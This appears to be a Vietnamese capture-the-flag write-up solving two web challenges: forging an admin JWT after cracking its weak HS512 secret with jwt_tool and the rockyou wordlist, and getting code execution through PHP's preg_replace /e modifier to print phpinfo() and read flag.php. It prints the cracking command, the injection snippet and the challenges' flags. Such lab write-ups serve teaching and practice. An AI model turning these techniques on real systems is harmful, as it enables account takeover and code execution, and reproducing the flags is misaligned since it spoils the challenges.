![image](https://hackmd.io/_uploads/SJY_DJZsR.png)
![image](https://hackmd.io/_uploads/ryecPybs0.png)
**Flag**: `S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7`

## JWT - Weak secret
![image](https://hackmd.io/_uploads/HJRznwkrT.png)
Truy cập vào `/token` như message nhắc đến
![image](https://hackmd.io/_uploads/HJtH2vkSp.png)

Dùng token này truy cập vào `/admin`
![image](https://hackmd.io/_uploads/SybtnPJS6.png)

Thêm HTTP Authenzation tương ứng như response
![image](https://hackmd.io/_uploads/B1jphDkrT.png)

Dùng [https://jwt.io/](https://jwt.io/) để decode jwt
![image](https://hackmd.io/_uploads/rkhv6P1Hp.png)

Ta sửa role thành admin, nhưng trước hết phải có key để encode. Dùng jwt-tool, sử dụng file rockyou.txt.gz mặc định nhưng không tìm được.
Mình sẽ tải từ github
```
wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
```
Sử dụng lệnh
```
python3 jwt_tool.py -d /usr/share/wordlists/rockyou.txt -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw
```
![image](https://hackmd.io/_uploads/B1zpg9ySp.png)
Ta tìm được key là `lol`

![image](https://hackmd.io/_uploads/S1mwtOJHa.png)

![image](https://hackmd.io/_uploads/S1_mFuyHT.png)
**Flag:** `PleaseUseAStrongSecretNextTime`

# PHP - preg_replace()
`preg_replace(pattern, replacement, subject);`
- pattern: Biểu thức chính quy được sử dụng để tìm kiếm.
- replacement: Chuỗi thay thế.
- subject: Chuỗi nguồn cần thực hiện tìm kiếm và thay thế.

Sau khi gg thì ta biết đối số thứ hai được đánh giá dưới dạng biểu thức PHP, do đó sẽ in ra PHP info
```php
$string = "phpinfo()";
print preg_replace('/^(.*)/e', 'strtoupper(\\1)', $string);
```

Để lấy được flag thì phải đọc file flag.php, vậy ta sẽ input như sau:
![image](https://hackmd.io/_uploads/HyNIOqkH6.png)
![image](https://hackmd.io/_uploads/ByZ1K9JSa.png)
Flag: `pr3g_r3pl4c3_3_m0d1f13r_styl3`



